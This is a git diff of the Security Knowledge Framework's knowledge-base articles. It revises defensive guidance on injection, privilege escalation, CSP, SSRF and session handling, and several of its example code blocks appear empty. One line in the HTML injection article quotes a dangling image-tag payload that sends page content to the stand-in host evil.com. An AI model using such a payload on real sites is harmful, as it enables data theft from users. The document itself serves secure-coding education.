diff --git a/skf/markdown/knowledge_base/100-knowledge_base--Log_viewing_software_code_injection--.md b/skf/markdown/knowledge_base/100-knowledge_base--Log_viewing_software_code_injection--.md
index b74f343de..c29901abc 100755
--- a/skf/markdown/knowledge_base/100-knowledge_base--Log_viewing_software_code_injection--.md
+++ b/skf/markdown/knowledge_base/100-knowledge_base--Log_viewing_software_code_injection--.md
@@ -5,7 +5,8 @@ Whenever user supplied input is being handled into log viewing software, this so
## Solution:
You should consider these three controls when supplying information to the log viewing software:
-• Design: If at all possible, avoid logging data that came from external inputs.
-• Implementation: Ensure that all log entries are statically created, or if they must record external data that the input is vigorously white-list checked.
-• Run time: Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.
+ • Design: If at all possible, avoid logging data that came from external inputs.
+ • Implementation: Ensure that all log entries are statically created, or if they must record external data that the input is vigorously white-list checked.
+ • Run time: Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.
+
Also verify that all non-printable symbols and field separators are properly encoded in log entries, to prevent log injection.
diff --git a/skf/markdown/knowledge_base/109-knowledge_base--Privilege_escalation--.md b/skf/markdown/knowledge_base/109-knowledge_base--Privilege_escalation--.md
index 5e7ddb06f..760c842ad 100755
--- a/skf/markdown/knowledge_base/109-knowledge_base--Privilege_escalation--.md
+++ b/skf/markdown/knowledge_base/109-knowledge_base--Privilege_escalation--.md
@@ -1,7 +1,13 @@
## Description:
-In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), then he can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the users role/privilege (but might be permitted as another user).
+Attackers with low access rights wil always try to elevate their privileges in order to get more sensitive information/functionalities at their disposal. This can be achieved by for example:
+
+ - Functions that fail to check authorization
+ - Compromised functions/services that run with higher privileges
+ - Compromised user accounts with higher privileges
+
+These examples just scratch the surface of what attackers will try in order to elevate their privilages on your application/system. Therefore it is very important to take this reccomendation high into account.
## Solution:
-Checking if a user has enough authorization to execute certain request should always be enforced on the server-side. Also, you may apply the Principle of Least privilege, the principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions such as CPU limits, memory, network, and file system permissions. For example, if a user only requires access to the network, read access to a database table, and the ability to write to a log, this describes all the permissions that should be granted. Under no circumstances should the user be granted administrative privileges. Also for making testing easier, you can create Unit-tests that verifies the user role permissions.
+Checking if a user has enough authorization to execute certain request should always be enforced on the server-side. Also, you may apply the Principle of Least privilege, the principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions such as CPU limits, memory, network, and file system permissions. For example, if a user only requires access to the network, read access to a database table, and the ability to write to a log, this describes all the permissions that should be granted. Under no circumstances should the user be granted administrative privileges.
diff --git a/skf/markdown/knowledge_base/11-knowledge_base--LDAP_injection--.md b/skf/markdown/knowledge_base/11-knowledge_base--LDAP_injection--.md
index e88bef326..c80ed1840 100755
--- a/skf/markdown/knowledge_base/11-knowledge_base--LDAP_injection--.md
+++ b/skf/markdown/knowledge_base/11-knowledge_base--LDAP_injection--.md
@@ -4,4 +4,4 @@ LDAP (Lightweight Directory Access Protocol) Injection is an attack used to expl
## Solution:
-The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries does not contain any attacks. However, in some cases, it is necessary to include special characters in the input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually LDAP query.
+The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries does not contain any attacks. However, in some cases, it is necessary to include special characters in the input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually part of the LDAP query.
diff --git a/skf/markdown/knowledge_base/110-knowledge_base--Enforce_sequential_step_order--.md b/skf/markdown/knowledge_base/110-knowledge_base--Enforce_sequential_step_order--.md
index c32c1e445..a779d4ea0 100755
--- a/skf/markdown/knowledge_base/110-knowledge_base--Enforce_sequential_step_order--.md
+++ b/skf/markdown/knowledge_base/110-knowledge_base--Enforce_sequential_step_order--.md
@@ -12,7 +12,3 @@ the application to only process business logic flows in sequential step order, w
steps being processed in realistic human time, and not process out of order, skipped steps,
processed steps from another user, or too quickly submitted transactions.
-Recommended knowledge base items:
-
-- Aggregate user requests
-- CSRF injection
diff --git a/skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_pre_filling--.md b/skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_pre_filling--.md
index 3814440a6..e7e459123 100755
--- a/skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_pre_filling--.md
+++ b/skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_pre_filling--.md
@@ -20,7 +20,4 @@ compute, key derivation functions are ideally suited for password hashing use ca
Examples of good ways to store passwords are with, BCRYPT, Blowfish or in some cases SCRYPT
which is a little harder to implement correctly
-NOTE: Password pre-filling also happens when using the browsers password manager. For the login input
-fields the 'autocomplete=off' HTML attribute should be added to disable the password manager. The credentials
-could otherwise be stolen by XSS attacks whenever an attacker injects an HTML login form into the application
-which is pre-filled by the password manager.
+NOTE: Password pre-filling also happens when using the browsers password manager. However this process is different fromt he context described above since the description above implies an application that pre-filles credentials from the database/localstorage/etc.
diff --git a/skf/markdown/knowledge_base/122-knowledge_base--HTTPS_and_weakly_or_unencrypted_links--.md b/skf/markdown/knowledge_base/122-knowledge_base--HTTPS_and_weakly_or_unencrypted_links--.md
index 4e9a76955..6fa3519be 100755
--- a/skf/markdown/knowledge_base/122-knowledge_base--HTTPS_and_weakly_or_unencrypted_links--.md
+++ b/skf/markdown/knowledge_base/122-knowledge_base--HTTPS_and_weakly_or_unencrypted_links--.md
@@ -8,6 +8,4 @@ vulnerable data towards other unencrypted/weak encrypted links in your applicati
## Solution:
-Verify that credentials are transported using a suitable encrypted link and that all pages/functions that
-require a user to enter credentials are done so using an encrypted link.
-
+Verify that credentials or other sensitive information is transported via TLS.
diff --git a/skf/markdown/knowledge_base/130-knowledge_base--Verbose_version_information--.md b/skf/markdown/knowledge_base/130-knowledge_base--Verbose_version_information--.md
index 77166c4b8..a27be9b6b 100755
--- a/skf/markdown/knowledge_base/130-knowledge_base--Verbose_version_information--.md
+++ b/skf/markdown/knowledge_base/130-knowledge_base--Verbose_version_information--.md
@@ -6,4 +6,4 @@ information leaves the program through an output stream or logging function.
## Solution:
-Verify that the HTTP headers do not expose detailed version information of system components. For each different type of server, there are hardening guides dedicated especially for this type of data leaking.
+Verify that the HTTP headers do not expose detailed version information of system components. For each different type of server, there are hardening guides dedicated especially for this type of data leaking. The same applies for i.e any other leak of version information such as the version of your programming language or other services running to make your application function.
diff --git a/skf/markdown/knowledge_base/139-knowledge_base--Certificate_paths_revocation_information--.md b/skf/markdown/knowledge_base/139-knowledge_base--Certificate_paths_revocation_information--.md
index e6d8c8bf9..fc3c502a0 100755
--- a/skf/markdown/knowledge_base/139-knowledge_base--Certificate_paths_revocation_information--.md
+++ b/skf/markdown/knowledge_base/139-knowledge_base--Certificate_paths_revocation_information--.md
@@ -1,7 +1,7 @@
## Description:
Whenever your certificate authority is not trusted anymore you should always be able to
-recall these certificates ASAP.
+recall these certificates ASAP to prevent man in the middle attacks on your applications users.
## Solution:
diff --git a/skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md b/skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md
index 418109c35..854af5467 100755
--- a/skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md
+++ b/skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md
@@ -16,12 +16,16 @@ header it still remains vulnerable to the attacks summarized above.
## Solution:
1.Content spoofing Otherwise known as "Content Injection" or "Virtual Defacement" occurs whenever an attacker can inject code into your application. It is very important to sanitize and or encode user data before you display it on screen as HTML.
+
2.Image tag injection occurs whenever an attacker injects a broken image tag with a non-terminated parameter like: "img src='http://evil.com?steal.php?value= Every content after value= parameter will now be stolen and send to evil.com by the attacker till the injection finds the next occurrence of a matching single quote.
Again you should sanitize and encode the user input to prevent an image tag from being injected in your application. For whenever a user is permitted to submit an image on your application enforce and verify the application accepts valid non-broken tags only.
+
3.The "form" tag can't be nested. The top-level occurrence of this element always takes precedence over subsequent appearances. Again you must avoid this type by properly encoding and sanitizing your user-inputs.
+
4.Whenever an attacker injects a "base" tag into your application it can steal data because the tag specifies the base URL/target to where to process the data to.
The solution to base jumping would be to use absolute paths in your application such as action='/update_profile.php'
instead of: action='update_profile.php'
+
5/6 can both also easily be prevented simply be encoding or sanitizing your user-input submitted towards your application.
Always validate your user input on a high level(server-side constraint). Whenever your application expects an integer you should validate and check whether the user submitted input really is what you expected it to be and otherwise, you terminate and log the request.
diff --git a/skf/markdown/knowledge_base/165-knowledge_base--Differential_analysis_attack--.md b/skf/markdown/knowledge_base/165-knowledge_base--Differential_analysis_attack--.md
index d0bb035f7..ee8d1dce9 100755
--- a/skf/markdown/knowledge_base/165-knowledge_base--Differential_analysis_attack--.md
+++ b/skf/markdown/knowledge_base/165-knowledge_base--Differential_analysis_attack--.md
@@ -8,4 +8,5 @@ attacker can now use this differential in response time to enumerate user accoun
## Solution:
Verify that all authentication challenges, whether successful or failed, should respond
-in the same average response time.
+in the same average response time. This same methodology applies for other sensitive information that could
+potentially be recovered with differential attacks.
diff --git a/skf/markdown/knowledge_base/178-knowledge_base--Content_security_policy_headers--.md b/skf/markdown/knowledge_base/178-knowledge_base--Content_security_policy_headers--.md
index 18cb783a6..5c30c9a0d 100755
--- a/skf/markdown/knowledge_base/178-knowledge_base--Content_security_policy_headers--.md
+++ b/skf/markdown/knowledge_base/178-knowledge_base--Content_security_policy_headers--.md
@@ -9,6 +9,7 @@ A best practice for implementing CSP in your application would be to externalize
JavaScript within the web pages.
So this:
+ ```
-
+```
Must become this:
+```
-
+```
The header for this code could look something like:
+ ```
Content-Security-Policy: default-src'self'; object-src'none'; script-src'https://mycdn.com'
-
+ ```
Since it is not entirely realistic to implement all JavaScript on external pages we can apply sort of a cross-site request forgery token to your inline JavaScript. This way the browser can again distinguish the difference between code which is part of the application against probable malicious injected code, in CSP this is called the 'nonce'. Of course, this method is also very applicable on your existing code and designs.
Now, to use this nonce you have to supply your inline script tags with the nonce attribute. Firstly, it's important that the nonce changes for each response. Otherwise, the nonce would become guessable. So it should also contain a high entropy and should be hard to predict. Similar to the operation of the CSRF tokens, the nonce becomes impossible for the attacker to predict making it difficult to execute a successful XSS attack.
Inline JavaScript example containing nonce:
+ ```
-
+ ```
Matching header example:
+ ```
Content-Security-Policy: script-src 'nonce-sfsdf03nceI23wlsgle9h3sdd21'
-
+ ```
There is a whole lot more to learn about the CSP header for in-depth implementation in your application. This knowledge base item just scratches the surface and it would be highly recommended to gain more in-depth knowledge about this powerful header
## Very Important:
diff --git a/skf/markdown/knowledge_base/179-knowledge_base--Safe_javascript_jquery_methods--.md b/skf/markdown/knowledge_base/179-knowledge_base--Safe_javascript_jquery_methods--.md
index 2d917330e..97f1bf9a4 100755
--- a/skf/markdown/knowledge_base/179-knowledge_base--Safe_javascript_jquery_methods--.md
+++ b/skf/markdown/knowledge_base/179-knowledge_base--Safe_javascript_jquery_methods--.md
@@ -16,23 +16,27 @@ JQUERY functions:
.parse();
Example:
+ ````
-Javscript functions:
-.innerText(); <- not supported by firefox
-.textContext(); <- not supported on I.E 8 and lower
-.createTextNode();
-.value();
+ Javscript functions:
+ .innerText(); <- not supported by firefox
+ .textContext(); <- not supported on I.E 8 and lower
+ .createTextNode();
+ .value();
+ ```
+
Example:
-
+ ```
+ ```
diff --git a/skf/markdown/knowledge_base/18-knowledge_base--Accessible_non_parsed_dynamic_scripts--.md b/skf/markdown/knowledge_base/18-knowledge_base--Accessible_non_parsed_dynamic_scripts--.md
index cd0d31e5c..24511f52c 100755
--- a/skf/markdown/knowledge_base/18-knowledge_base--Accessible_non_parsed_dynamic_scripts--.md
+++ b/skf/markdown/knowledge_base/18-knowledge_base--Accessible_non_parsed_dynamic_scripts--.md
@@ -5,6 +5,9 @@ approached by normal users, the operation of the application can be traced becau
source code becomes available. This improves the possibility that the attacker discovers
vulnerabilities.
+It is also highly recommended that old files are removed from the server and not beind stored
+or backuped as i.e "file.php.old".
+
## Solution:
Always add the different types of extensions to the web-server handler to parse.
diff --git a/skf/markdown/knowledge_base/198-knowledge_base--Strong_CRYPTO_through_CA_hierachy--.md b/skf/markdown/knowledge_base/198-knowledge_base--Strong_CRYPTO_through_CA_hierachy--.md
index beea8fff8..2f97698e1 100755
--- a/skf/markdown/knowledge_base/198-knowledge_base--Strong_CRYPTO_through_CA_hierachy--.md
+++ b/skf/markdown/knowledge_base/198-knowledge_base--Strong_CRYPTO_through_CA_hierachy--.md
@@ -8,7 +8,10 @@ This can lead to Man-In-The-Middle (MITM) attacks and impact the 3 security pill
Verify that only strong algorithms, ciphers, and protocols are used, through all the certificate hierarchy,
including root and intermediary certificates of your selected certifying authority.
-Because this is always in flux we recommend using the SSLlabs free test:
+Because this is always in flux we
+
+recommend using the:
+SSLlabs free test https://www.ssllabs.com/ssltest/
+OWASP OSAFT : https://www.owasp.org/index.php/O-Saft
-https://www.ssllabs.com/ssltest/
These TLS hardening recommendations can then be applied on all servers.
diff --git a/skf/markdown/knowledge_base/200-knowledge_base--Signed_application_components--.md b/skf/markdown/knowledge_base/200-knowledge_base--Signed_application_components--.md
index e97c518d1..3cfb94f2b 100755
--- a/skf/markdown/knowledge_base/200-knowledge_base--Signed_application_components--.md
+++ b/skf/markdown/knowledge_base/200-knowledge_base--Signed_application_components--.md
@@ -1,10 +1,10 @@
## Description:
-When an application don't use signed application components an attacker can easily modify parts
-of the application and load inject a backdoor into the application. Also the attacker could
-modify business logic in the application without the application notice. Signed application
+When an application don't use signed components an attacker can easily modify parts
+of the application and load inject a backdoors. Also the attacker could
+modify business logic in the application without notice. Signed application
components can help harden your application and make it noticeable when an attacker tries to
-modify the code in the application.
+modify the code.
## Solution:
diff --git a/skf/markdown/knowledge_base/201-knowledge_base--Build_proccess_security_hardening--.md b/skf/markdown/knowledge_base/201-knowledge_base--Build_proccess_security_hardening--.md
index c163c2c03..c2eb9c28b 100755
--- a/skf/markdown/knowledge_base/201-knowledge_base--Build_proccess_security_hardening--.md
+++ b/skf/markdown/knowledge_base/201-knowledge_base--Build_proccess_security_hardening--.md
@@ -1,6 +1,6 @@
## Description:
-Building you application should always be done on a server that you trust, you are in control and
+Building an application should always be done on a server that you trust, you are in control of and
has the latest security patches and hardening configured. In some applications you can use security
techniques and modules that can protect your application from known security issues. Always use these
techniques when they are available.
diff --git a/skf/markdown/knowledge_base/207-knowledge_base--PII_protection--.md b/skf/markdown/knowledge_base/207-knowledge_base--PII_protection--.md
index 1ba3284c6..45f988e17 100755
--- a/skf/markdown/knowledge_base/207-knowledge_base--PII_protection--.md
+++ b/skf/markdown/knowledge_base/207-knowledge_base--PII_protection--.md
@@ -1,6 +1,6 @@
## Description:
-There should be extra care taken into account when you are dealing with PII in your
+There should be extra care taken into account when you are dealing with PII(personal identifiable information) in your
application. There are multiple laws in countries that demand proper protection by
means of SSL/TLS for when the data is in transit and encrypted with pub priv key system
when stored on the disk. This is needed to protect the user from identity theft and fraud.
diff --git a/skf/markdown/knowledge_base/21-knowledge_base--Include_X_XSS-Protection_header--.md b/skf/markdown/knowledge_base/21-knowledge_base--Include_X_XSS-Protection_header--.md
index 2d6567164..9198b6714 100755
--- a/skf/markdown/knowledge_base/21-knowledge_base--Include_X_XSS-Protection_header--.md
+++ b/skf/markdown/knowledge_base/21-knowledge_base--Include_X_XSS-Protection_header--.md
@@ -6,3 +6,6 @@ web browsers. It is usually enabled by default anyway, so the role of this heade
## Solution:
These headers are also known as the: X-XSS-Protection: 1; mode=block and provide protection against XSS attacks when implemented in the application or web-server.
+
+##NOTE:
+This header only protects against some reflected XSS attacks. This is no substitute for normal escaping and input filtering and sanitization.
diff --git a/skf/markdown/knowledge_base/210-knowledge_base--All_time_sources_should_be_synchronized--.md b/skf/markdown/knowledge_base/210-knowledge_base--All_time_sources_should_be_synchronized--.md
index 6adf1f84b..9d03ae226 100755
--- a/skf/markdown/knowledge_base/210-knowledge_base--All_time_sources_should_be_synchronized--.md
+++ b/skf/markdown/knowledge_base/210-knowledge_base--All_time_sources_should_be_synchronized--.md
@@ -1,6 +1,6 @@
## Description:
-All time sources must be synchronized throughout for example, different API servers or
+All time sources must be synchronized throughout. For example, different API servers or
microservices. to prevent logs to be tainted and become unusable for forensics.
## Solution:
diff --git a/skf/markdown/knowledge_base/262-knowledge_base--Server_side_request_forgery--.md b/skf/markdown/knowledge_base/262-knowledge_base--Server_side_request_forgery--.md
index f34feb9aa..5275387b5 100755
--- a/skf/markdown/knowledge_base/262-knowledge_base--Server_side_request_forgery--.md
+++ b/skf/markdown/knowledge_base/262-knowledge_base--Server_side_request_forgery--.md
@@ -1,6 +1,6 @@
## Description:
-Server Side Request Forgery (CSRF) attack, where an attacker abuse the functionality of a
+Server Side Request Forgery (SSRF) attack, where an attacker abuse the functionality of a
vulnerable web application to send crafter request which which read or update internal
resources. Attacker can attack an internal network or application behind the firewall with
this attack which is normally not accessible through external network and even attack the
@@ -16,4 +16,4 @@ dict, gopher, expect etc which can even cause remote code execution.
Disable unused URL schemas which are dangerous like expect://, file:///, ftp://, gopher://.
Proper whitelisting of domain or IP address which you need to access to. Response received from
the internal server should not be shown to the attacker. Some services like Memcached, Redis, Elasticsearch and MongoDB do not require authentication by default, so we need to enable
-authentication for these services.
\ No newline at end of file
+authentication for these services.
diff --git a/skf/markdown/knowledge_base/39-knowledge_base--Session_cookies_without_the_HttpOnly_flag--.md b/skf/markdown/knowledge_base/39-knowledge_base--Session_cookies_without_the_HttpOnly_flag--.md
index a3ad00ed5..e1e8aa985 100755
--- a/skf/markdown/knowledge_base/39-knowledge_base--Session_cookies_without_the_HttpOnly_flag--.md
+++ b/skf/markdown/knowledge_base/39-knowledge_base--Session_cookies_without_the_HttpOnly_flag--.md
@@ -4,4 +4,4 @@ An HttpOnly flag is an option that can be set when creating a cookie. This flag
## Solution:
-The HttpOnly flag should be set to disable malicious script access to the cookie values such as the session ID value. Also, disable unnecessary HTTP request methods because of the TRACE option. Misconfiguration of the HTTP request headers can lead to stealing the session cookie even though HttpOnly protection is in place.
+The HttpOnly flag should be set to disable malicious script access to the cookie values such as the session ID value. Also, disable unnecessary HTTP request methods such as the TRACE option. Misconfiguration of the HTTP request headers can lead to stealing the session cookie even though HttpOnly protection is in place.
diff --git a/skf/markdown/knowledge_base/57-knowledge_base--The_logout_functionality_should_revoke_the_complete_session--.md b/skf/markdown/knowledge_base/57-knowledge_base--The_logout_functionality_should_revoke_the_complete_session--.md
index b3d512ba0..5a346139d 100755
--- a/skf/markdown/knowledge_base/57-knowledge_base--The_logout_functionality_should_revoke_the_complete_session--.md
+++ b/skf/markdown/knowledge_base/57-knowledge_base--The_logout_functionality_should_revoke_the_complete_session--.md
@@ -1,7 +1,7 @@
## Description:
-When the logout functionality does not revoke the complete session, an attacker could
-impersonate a user when he has access to the session cookie.
+When the logout functionality does not revoke the complete session, an attacker could still
+impersonate a user when he has access to the session cookie even after the user is logged off the application.
## Solution: